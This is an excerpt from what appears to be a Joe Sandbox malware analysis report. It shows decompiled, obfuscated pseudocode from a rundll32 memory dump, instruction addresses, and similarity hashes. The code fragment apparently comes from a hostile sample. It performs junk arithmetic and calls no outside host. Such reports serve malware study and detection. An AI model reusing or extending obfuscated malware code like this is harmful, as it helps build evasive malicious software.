				_v8 = _t86 + 1;
				_a8 = _a8 - 1;
				_v8 = _v8 ^ _t92 - 0xffffffff;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) & 0x00000000;
				 *(_t85 + 0x41cd75) = 1;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) - 1;
				_v8 = _v8 + 1;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) - 1;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) + 1;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) & 0xffffffff;
				_a8 = _a8 - _t91;
				_v8 = _v8 - 1;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) + 0xffffffff;
				return (0xfffffffffffffdd8 ^ _t91) - 1;
			}












                                                                          0x001292b2
                                                                          0x001292bd
                                                                          0x001292c8
                                                                          0x001292cd
                                                                          0x001292e1
                                                                          0x001292cf
                                                                          0x001292cf
                                                                          0x001292d5
                                                                          0x001292d5
                                                                          0x001292e4
                                                                          0x001292ea
                                                                          0x001292f3
                                                                          0x001292f6
                                                                          0x001292fb
                                                                          0x00129306
                                                                          0x00129323
                                                                          0x00129344
                                                                          0x0012934a
                                                                          0x0012934d
                                                                          0x00129350
                                                                          0x00129353
                                                                          0x0012935a
                                                                          0x00129375
                                                                          0x00129385
                                                                          0x0012938e
                                                                          0x00129395
                                                                          0x0012939d
                                                                          0x001293ad
                                                                          0x001293bd
                                                                          0x001293c0
                                                                          0x001293df

                                                                          Memory Dump Source
                                                                          • Source File: 00000006.00000002.2275594162.0000000000120000.00000040.00000001.sdmp, Offset: 00120000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_6_2_120000_rundll32.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 377b6065eaa96f6382e610e702929000c340969e1a3c2249ec044ad4b0ffd56c
                                                                          • Instruction ID: 1f0802677e56299542fe874924efb021a65650e06870c6e62c90c16f3dd1f28f
                                                                          • Opcode Fuzzy Hash: 377b6065eaa96f6382e610e702929000c340969e1a3c2249ec044ad4b0ffd56c
                                                                          • Instruction Fuzzy Hash: 3031A132890704EBFB04CF38D9857DA7BB0EF41329F54827AEC199D1DAE3794620DA55
                                                                          Uniqueness

                                                                          Uniqueness Score: -1.00%